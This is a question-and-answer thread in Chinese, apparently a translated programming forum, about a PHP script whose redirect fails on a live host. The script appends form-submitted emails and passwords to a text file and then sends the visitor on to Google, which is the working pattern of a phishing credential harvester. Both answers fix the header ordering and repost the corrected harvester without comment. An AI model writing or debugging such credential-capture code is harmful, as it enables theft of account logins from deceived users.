我使用此代码在文本文件中保存用户名和密码,最后重定向到网站。 bt此代码不会重定向到谷歌。当我在本地主机中运行它时它工作得很好(在localhost中我评论“header(”Location:http://www.yahoo.com“);”)...但是当我把它放在主机中时.. 它没有'吨。没有任何错误消息但一旦完美运行
<html>
<body>
<?php
$eml = $_POST["email"];
$pw = $_POST["pass"];
if (empty($pw) || empty($eml))
{
header("Location: http://www.yahoo.com");
exit;
}
else
$file = "mydata.txt";
$source = fopen ($file, 'a' ) or die;
$info = $_POST["email"];
fwrite($source, "$info\r\n");
$info = $_POST["pass"];
fwrite($source, "$info\r\n");
fwrite($source, "\r\n");
fclose ($source);
?>
<script>location.href='http://www.google.com';</script>
</body>
</html>
答案 0 :(得分:1)
您需要在浏览器上有任何输出之前放置标题:
<?php
$eml = $_POST["email"];
$pw = $_POST["pass"];
if (empty($pw) || empty($eml))
{
header("Location: http://www.yahoo.com");
exit;
}
else
$file = "mydata.txt";
$source = fopen ($file, 'a' ) or die;
$info = $_POST["email"];
fwrite($source, "$info\r\n");
$info = $_POST["pass"];
fwrite($source, "$info\r\n");
fwrite($source, "\r\n");
fclose ($source);
?>
<html>
<body>
<script>location.href='http://www.google.com';</script>
</body>
</html>
答案 1 :(得分:0)
首先,你可以删除&#34; else&#34;。
然后,如果你想写标题,请确保你没有任何输出,为此,
<html>
<body>
前
所以,您应该在以后的代码之上移动?&gt;标记,并确保之前没有任何空格
<?php
$eml = $_POST["email"];
$pw = $_POST["pass"];
if (empty($pw) || empty($eml))
{
header("Location: http://www.yahoo.com");
exit;
}
$file = "mydata.txt";
$source = fopen ($file, 'a' ) or die;
$info = $_POST["email"];
fwrite($source, "$info\r\n");
$info = $_POST["pass"];
fwrite($source, "$info\r\n");
fwrite($source, "\r\n");
fclose ($source);
?>
<html>
<body>
<script>location.href='http://www.google.com';</script>
</body>
</html>